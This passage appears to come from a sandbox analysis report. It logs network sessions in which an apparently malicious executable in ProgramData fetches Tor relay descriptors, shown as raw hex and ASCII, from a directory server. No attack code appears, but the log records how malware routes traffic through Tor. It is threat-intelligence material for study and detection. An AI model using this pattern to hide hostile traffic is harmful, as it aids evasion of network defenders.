Apr 2, 2023 09:50:19.187963009 CEST	2894	OUT	GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:19.215728998 CEST	2895	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:19 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:19 GMT Data Raw: 72 6f 75 74 65 72 20 63 61 72 72 79 6d 65 74 68 72 6f 75 67 68 20 35 38 2e 31 38 35 2e 36 39 2e 32 34 35 20 35 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 4e 41 56 57 6f 44 4d 48 6e 70 6a 32 6f 51 77 33 76 63 59 41 4e 4c 43 2f 32 49 51 71 78 6d 55 58 47 5a 77 45 56 59 7a 76 30 46 56 58 4c 41 51 41 67 42 41 41 52 7a 70 37 4f 0a 31 6f 37 43 75 57 30 66 33 6e 36 4d 4f 67 6e 35 32 62 55 76 56 54 68 79 6a 4e 45 42 4c 67 58 4c 7a 44 43 55 47 30 51 6c 78 66 67 72 7a 41 30 48 79 4f 48 79 6c 64 32 56 68 42 4c 72 42 59 4a 77 0a 44 4b 6a 42 54 48 73 64 6e 52 7a 34 52 32 63 31 6b 58 35 78 6e 7a 54 53 4c 73 34 41 6b 54 72 74 6a 36 6b 38 30 31 79 51 6c 6f 75 46 39 4d 73 6d 79 7a 62 52 65 69 78 43 54 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 45 63 36 65 7a 74 61 4f 77 72 6c 74 48 39 35 2b 6a 44 6f 4a 2b 64 6d 31 4c 31 55 34 63 6f 7a 52 41 53 34 46 79 38 77 77 6c 42 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 30 35 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 44 33 41 20 33 45 33 46 20 39 38 43 45 20 41 45 46 32 20 45 32 35 41 20 39 35 37 35 20 37 34 31 39 20 30 43 31 45 20 41 36 41 37 20 46 37 44 31 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 35 37 32 38 36 34 30 30 20 32 30 39 37 31 35 32 30 30 20 31 30 30 31 39 38 34 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 42 44 43 38 46 31 39 37 30 43 34 46 32 41 32 42 33 32 36 45 37 34 41 41 43 45 36 30 39 37 43 31 30 33 39 42 39 30 33 20 44 63 49 36 64 76 79 61 6e 51 45 35 48 70 44 6b 2b 2b 66 69 59 63 6b 56 6f 42 53 68 72 76 6d 4b 59 6f 44 4d 6f 64 35 66 46 42 6b 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 71 4d 56 45 4a 31 55 4f 2f 41 58 35 50 61 57 32 57 2b 6c 6c 6a 65 77 6a 37 70 6d 74 59 59 69 76 62 5a 57 6f 2b 4c 47 51 39 53 41 4a 31 37 45 41 34 4a 49 6c 5a 76 0a 62 76 4c 31 37 6a 6b 6b 36 33 70 46 37 42 4d 5a 6d 56 59 45 58 6d 4e 78 6f 75 4e 5a 48 46 79 2b 33 64 44 43 71 57 34 31 58 47 47 6a 51 2f 79 4b 76 48 6e 31 57 33 6c 39 46 46 7a 53 32 79 47 53 0a 56 61 42 43 62 59 5a 48 52 37 6c 52 30 50 30 6d 71 47 71 50 30 77 4a 54 36 6c 4c 6a 77 42 65 4b 56 72 42 73 46 51 4d 75 4f 33 71 75 4c 53 6a 4d 6d 4b 56 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4f 4b 33 62 6d 4d 4e Data Ascii: router carrymethrough 58.185.69.245 5443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByENAVWoDMHnpj2oQw3vcYANLC/2IQqxmUXGZwEVYzv0FVXLAQAgBAARzp7O1o7CuW0f3n6MOgn52bUvVThyjNEBLgXLzDCUG0QlxfgrzA0HyOHyld2VhBLrBYJwDKjBTHsdnRz4R2c1kX5xnzTSLs4AkTrtj6k801yQlouF9MsmyzbReixCTA4=-----END ED25519 CERT-----master-key-ed25519 Ec6eztaOwrltH95+jDoJ+dm1L1U4cozRAS4Fy8wwlBsplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:05:58fingerprint 4D3A 3E3F 98CE AEF2 E25A 9575 7419 0C1E A6A7 F7D1uptime 2bandwidth 157286400 209715200 10019840extra-info-digest BBDC8F1970C4F2A2B326E74AACE6097C1039B903 DcI6dvyanQE5HpDk++fiYckVoBShrvmKYoDMod5fFBkonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMqMVEJ1UO/AX5PaW2W+lljewj7pmtYYivbZWo+LGQ9SAJ17EA4JIlZvbvL17jkk63pF7BMZmVYEXmNxouNZHFy+3dDCqW41XGGjQ/yKvHn1W3l9FFzS2yGSVaBCbYZHR7lR0P0mqGqP0wJT6lLjwBeKVrBsFQMuO3quLSjMmKV5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALOK3bmMN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49712	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:19.594171047 CEST	2899	OUT	GET /tor/server/fp/cf230d27a28172429123dfee6476d9401e6c6fa8 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:19.621936083 CEST	2900	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:19 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:19 GMT Data Raw: 72 6f 75 74 65 72 20 57 69 6c 64 53 74 72 69 6b 65 52 61 6e 67 65 72 73 20 39 34 2e 31 37 37 2e 39 2e 31 33 31 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 48 57 41 55 4b 68 54 67 55 66 51 4a 53 4a 65 73 59 6c 4f 6c 67 69 4f 7a 54 62 5a 74 50 4a 6a 62 31 41 35 77 2f 39 45 5a 51 6e 70 47 36 41 41 51 41 67 42 41 43 6a 41 35 77 6d 0a 4f 4b 77 6b 31 67 64 30 35 6d 54 78 48 43 39 76 42 58 36 6c 30 4d 46 2b 78 45 6f 37 4e 4f 6a 48 44 47 5a 64 77 4b 55 67 58 58 30 46 58 30 39 45 2b 5a 59 48 79 73 66 76 76 38 44 34 69 55 6e 6f 0a 71 58 58 32 31 4e 66 50 6a 4f 51 56 2f 61 62 64 6f 6e 4c 54 6d 6f 70 46 44 41 31 67 4d 62 53 4e 42 6a 58 6f 63 42 72 73 65 54 51 4c 62 71 76 47 73 58 32 69 42 30 71 4e 77 41 59 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6f 77 4f 63 4a 6a 69 73 4a 4e 59 48 64 4f 5a 6b 38 52 77 76 62 77 56 2b 70 64 44 42 66 73 52 4b 4f 7a 54 6f 78 77 78 6d 58 63 41 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 31 38 3a 32 30 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 43 46 32 33 20 30 44 32 37 20 41 32 38 31 20 37 32 34 32 20 39 31 32 33 20 44 46 45 45 20 36 34 37 36 20 44 39 34 30 20 31 45 36 43 20 36 46 41 38 0a 75 70 74 69 6d 65 20 33 37 36 35 36 32 34 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 38 34 31 37 33 39 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 35 35 35 44 33 30 39 37 32 42 34 45 42 36 32 34 34 39 30 37 44 43 37 44 37 43 45 35 45 32 38 34 36 46 33 44 39 30 45 46 20 2b 4b 62 30 78 34 69 63 38 4a 4d 4f 44 4b 5a 79 4b 56 70 44 65 70 61 6d 6b 72 57 69 43 52 67 36 77 72 56 48 50 6b 6d 39 4c 6a 45 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 46 57 42 5a 45 77 52 31 75 35 47 70 48 35 77 69 41 79 6c 4b 64 7a 61 70 61 6b 30 62 54 48 34 56 6e 79 47 45 53 31 54 57 50 46 69 45 4e 5a 44 51 41 34 55 74 45 33 0a 4d 75 4e 6c 75 4c 71 76 5a 59 57 4d 39 71 5a 41 2b 36 69 75 7a 69 52 32 43 48 32 57 6d 53 64 72 6e 77 52 63 61 52 79 4e 4c 5a 34 78 69 75 54 52 4b 50 69 59 6c 48 34 51 79 74 4b 71 49 72 4e 6d 0a 45 2f 6c 64 4b 7a 4e 4c 4c 6f 36 69 45 6f 47 68 59 69 35 4f 58 46 65 53 47 6a 44 6e 48 51 66 6f 57 76 36 4c 68 65 4f 70 6d 62 53 56 4b 56 76 74 34 78 49 52 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 Data Ascii: router WildStrikeRangers 94.177.9.131 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByHWAUKhTgUfQJSJesYlOlgiOzTbZtPJjb1A5w/9EZQnpG6AAQAgBACjA5wmOKwk1gd05mTxHC9vBX6l0MF+xEo7NOjHDGZdwKUgXX0FX09E+ZYHysfvv8D4iUnoqXX21NfPjOQV/abdonLTmopFDA1gMbSNBjXocBrseTQLbqvGsX2iB0qNwAY=-----END ED25519 CERT-----master-key-ed25519 owOcJjisJNYHdOZk8RwvbwV+pdDBfsRKOzToxwxmXcAplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:18:20fingerprint CF23 0D27 A281 7242 9123 DFEE 6476 D940 1E6C 6FA8uptime 3765624bandwidth 1073741824 1073741824 28417398extra-info-digest 555D30972B4EB6244907DC7D7CE5E2846F3D90EF +Kb0x4ic8JMODKZyKVpDepamkrWiCRg6wrVHPkm9LjEonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANFWBZEwR1u5GpH5wiAylKdzapak0bTH4VnyGES1TWPFiENZDQA4UtE3MuNluLqvZYWM9qZA+6iuziR2CH2WmSdrnwRcaRyNLZ4xiuTRKPiYlH4QytKqIrNmE/ldKzNLLo6iEoGhYi5OXFeSGjDnHQfoWv6LheOpmbSVKVvt4xIRAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGB

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49713	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:22.224037886 CEST	2907	OUT	GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:22.252054930 CEST	2908	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:22 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:22 GMT Data Raw: 72 6f 75 74 65 72 20 63 61 72 72 79 6d 65 74 68 72 6f 75 67 68 20 35 38 2e 31 38 35 2e 36 39 2e 32 34 35 20 35 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 4e 41 56 57 6f 44 4d 48 6e 70 6a 32 6f 51 77 33 76 63 59 41 4e 4c 43 2f 32 49 51 71 78 6d 55 58 47 5a 77 45 56 59 7a 76 30 46 56 58 4c 41 51 41 67 42 41 41 52 7a 70 37 4f 0a 31 6f 37 43 75 57 30 66 33 6e 36 4d 4f 67 6e 35 32 62 55 76 56 54 68 79 6a 4e 45 42 4c 67 58 4c 7a 44 43 55 47 30 51 6c 78 66 67 72 7a 41 30 48 79 4f 48 79 6c 64 32 56 68 42 4c 72 42 59 4a 77 0a 44 4b 6a 42 54 48 73 64 6e 52 7a 34 52 32 63 31 6b 58 35 78 6e 7a 54 53 4c 73 34 41 6b 54 72 74 6a 36 6b 38 30 31 79 51 6c 6f 75 46 39 4d 73 6d 79 7a 62 52 65 69 78 43 54 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 45 63 36 65 7a 74 61 4f 77 72 6c 74 48 39 35 2b 6a 44 6f 4a 2b 64 6d 31 4c 31 55 34 63 6f 7a 52 41 53 34 46 79 38 77 77 6c 42 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 30 35 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 44 33 41 20 33 45 33 46 20 39 38 43 45 20 41 45 46 32 20 45 32 35 41 20 39 35 37 35 20 37 34 31 39 20 30 43 31 45 20 41 36 41 37 20 46 37 44 31 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 35 37 32 38 36 34 30 30 20 32 30 39 37 31 35 32 30 30 20 31 30 30 31 39 38 34 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 42 44 43 38 46 31 39 37 30 43 34 46 32 41 32 42 33 32 36 45 37 34 41 41 43 45 36 30 39 37 43 31 30 33 39 42 39 30 33 20 44 63 49 36 64 76 79 61 6e 51 45 35 48 70 44 6b 2b 2b 66 69 59 63 6b 56 6f 42 53 68 72 76 6d 4b 59 6f 44 4d 6f 64 35 66 46 42 6b 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 71 4d 56 45 4a 31 55 4f 2f 41 58 35 50 61 57 32 57 2b 6c 6c 6a 65 77 6a 37 70 6d 74 59 59 69 76 62 5a 57 6f 2b 4c 47 51 39 53 41 4a 31 37 45 41 34 4a 49 6c 5a 76 0a 62 76 4c 31 37 6a 6b 6b 36 33 70 46 37 42 4d 5a 6d 56 59 45 58 6d 4e 78 6f 75 4e 5a 48 46 79 2b 33 64 44 43 71 57 34 31 58 47 47 6a 51 2f 79 4b 76 48 6e 31 57 33 6c 39 46 46 7a 53 32 79 47 53 0a 56 61 42 43 62 59 5a 48 52 37 6c 52 30 50 30 6d 71 47 71 50 30 77 4a 54 36 6c 4c 6a 77 42 65 4b 56 72 42 73 46 51 4d 75 4f 33 71 75 4c 53 6a 4d 6d 4b 56 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4f 4b 33 62 6d 4d 4e Data Ascii: router carrymethrough 58.185.69.245 5443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByENAVWoDMHnpj2oQw3vcYANLC/2IQqxmUXGZwEVYzv0FVXLAQAgBAARzp7O1o7CuW0f3n6MOgn52bUvVThyjNEBLgXLzDCUG0QlxfgrzA0HyOHyld2VhBLrBYJwDKjBTHsdnRz4R2c1kX5xnzTSLs4AkTrtj6k801yQlouF9MsmyzbReixCTA4=-----END ED25519 CERT-----master-key-ed25519 Ec6eztaOwrltH95+jDoJ+dm1L1U4cozRAS4Fy8wwlBsplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:05:58fingerprint 4D3A 3E3F 98CE AEF2 E25A 9575 7419 0C1E A6A7 F7D1uptime 2bandwidth 157286400 209715200 10019840extra-info-digest BBDC8F1970C4F2A2B326E74AACE6097C1039B903 DcI6dvyanQE5HpDk++fiYckVoBShrvmKYoDMod5fFBkonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMqMVEJ1UO/AX5PaW2W+lljewj7pmtYYivbZWo+LGQ9SAJ17EA4JIlZvbvL17jkk63pF7BMZmVYEXmNxouNZHFy+3dDCqW41XGGjQ/yKvHn1W3l9FFzS2yGSVaBCbYZHR7lR0P0mqGqP0wJT6lLjwBeKVrBsFQMuO3quLSjMmKV5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALOK3bmMN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49714	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:22.626354933 CEST	2912	OUT	GET /tor/server/fp/c84f248d3b24655cc96e17b3cf41e0b88d28947e HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:22.653868914 CEST	2913	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:22 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:22 GMT Data Raw: 72 6f 75 74 65 72 20 61 74 68 65 6e 61 68 61 72 6d 6f 6e 79 20 32 2e 33 31 2e 37 31 2e 31 34 30 20 39 30 30 30 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 44 34 41 54 48 41 4f 36 65 42 44 72 57 35 50 57 46 63 57 75 65 6a 42 52 32 68 71 58 70 66 48 45 49 38 6c 4d 6b 47 47 49 6b 62 2b 54 4d 63 41 51 41 67 42 41 43 79 43 78 4c 63 0a 35 42 32 43 67 4a 35 78 4e 57 32 41 33 64 34 65 4c 53 46 52 45 30 6b 37 57 35 74 5a 53 48 67 71 41 73 5a 52 33 4e 57 2b 63 57 59 41 54 6a 39 6e 6d 59 38 57 32 6b 38 57 4f 52 64 6a 6c 4e 78 6e 0a 37 43 66 78 32 5a 55 67 36 73 58 6b 48 4e 63 66 64 78 74 37 58 65 44 73 4e 42 4e 49 68 50 5a 4c 44 62 67 32 59 43 66 66 6e 33 59 69 2b 69 6d 4d 6c 79 53 7a 65 54 4a 71 41 77 63 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 73 67 73 53 33 4f 51 64 67 6f 43 65 63 54 56 74 67 4e 33 65 48 69 30 68 55 52 4e 4a 4f 31 75 62 57 55 68 34 4b 67 4c 47 55 64 77 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 33 35 3a 34 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 43 38 34 46 20 32 34 38 44 20 33 42 32 34 20 36 35 35 43 20 43 39 36 45 20 31 37 42 33 20 43 46 34 31 20 45 30 42 38 20 38 44 32 38 20 39 34 37 45 0a 75 70 74 69 6d 65 20 32 35 35 34 35 30 35 0a 62 61 6e 64 77 69 64 74 68 20 34 31 39 34 33 30 34 20 35 32 34 32 38 38 30 20 32 34 36 39 32 32 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 38 39 42 41 32 45 35 36 33 45 30 37 41 30 34 32 36 46 42 35 35 33 37 33 45 45 45 34 33 45 43 36 37 37 37 38 43 46 30 20 61 58 76 62 36 63 2f 69 6d 4a 4c 79 46 73 35 73 57 6e 4c 47 39 72 65 73 78 43 54 35 51 73 67 47 4f 67 74 7a 38 48 38 55 54 42 4d 0a 63 61 63 68 65 73 2d 65 78 74 72 61 2d 69 6e 66 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 74 65 50 69 51 61 4f 5a 6f 71 79 66 43 30 77 53 33 2f 6c 59 48 33 4b 6d 67 61 78 42 42 47 74 4b 59 57 68 79 62 72 6c 64 4c 75 4f 72 4a 79 77 47 7a 6e 2b 59 70 75 0a 76 77 39 76 52 36 31 36 48 55 6f 79 54 67 2f 75 42 4d 53 62 55 64 6e 57 69 65 42 78 4b 43 6f 73 41 77 76 63 43 6c 52 53 4a 38 74 4b 66 33 5a 36 66 77 57 6c 43 71 71 77 57 33 55 77 78 47 64 6b 0a 42 73 4d 67 65 63 6c 79 4c 32 76 36 75 6b 66 6a 56 69 41 77 38 74 6b 68 32 59 68 39 6a 61 4c 56 61 58 52 52 64 6a 4f 2b 74 75 38 74 52 64 73 6a 64 61 46 46 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d Data Ascii: router athenaharmony 2.31.71.140 9000 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByD4ATHAO6eBDrW5PWFcWuejBR2hqXpfHEI8lMkGGIkb+TMcAQAgBACyCxLc5B2CgJ5xNW2A3d4eLSFRE0k7W5tZSHgqAsZR3NW+cWYATj9nmY8W2k8WORdjlNxn7Cfx2ZUg6sXkHNcfdxt7XeDsNBNIhPZLDbg2YCffn3Yi+imMlySzeTJqAwc=-----END ED25519 CERT-----master-key-ed25519 sgsS3OQdgoCecTVtgN3eHi0hURNJO1ubWUh4KgLGUdwplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:35:48fingerprint C84F 248D 3B24 655C C96E 17B3 CF41 E0B8 8D28 947Euptime 2554505bandwidth 4194304 5242880 2469220extra-info-digest F89BA2E563E07A0426FB55373EEE43EC67778CF0 aXvb6c/imJLyFs5sWnLG9resxCT5QsgGOgtz8H8UTBMcaches-extra-infoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKtePiQaOZoqyfC0wS3/lYH3KmgaxBBGtKYWhybrldLuOrJywGzn+Ypuvw9vR616HUoyTg/uBMSbUdnWieBxKCosAwvcClRSJ8tKf3Z6fwWlCqqwW3UwxGdkBsMgeclyL2v6ukfjViAw8tkh2Yh9jaLVaXRRdjO+tu8tRdsjdaFFAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----M

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49715	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
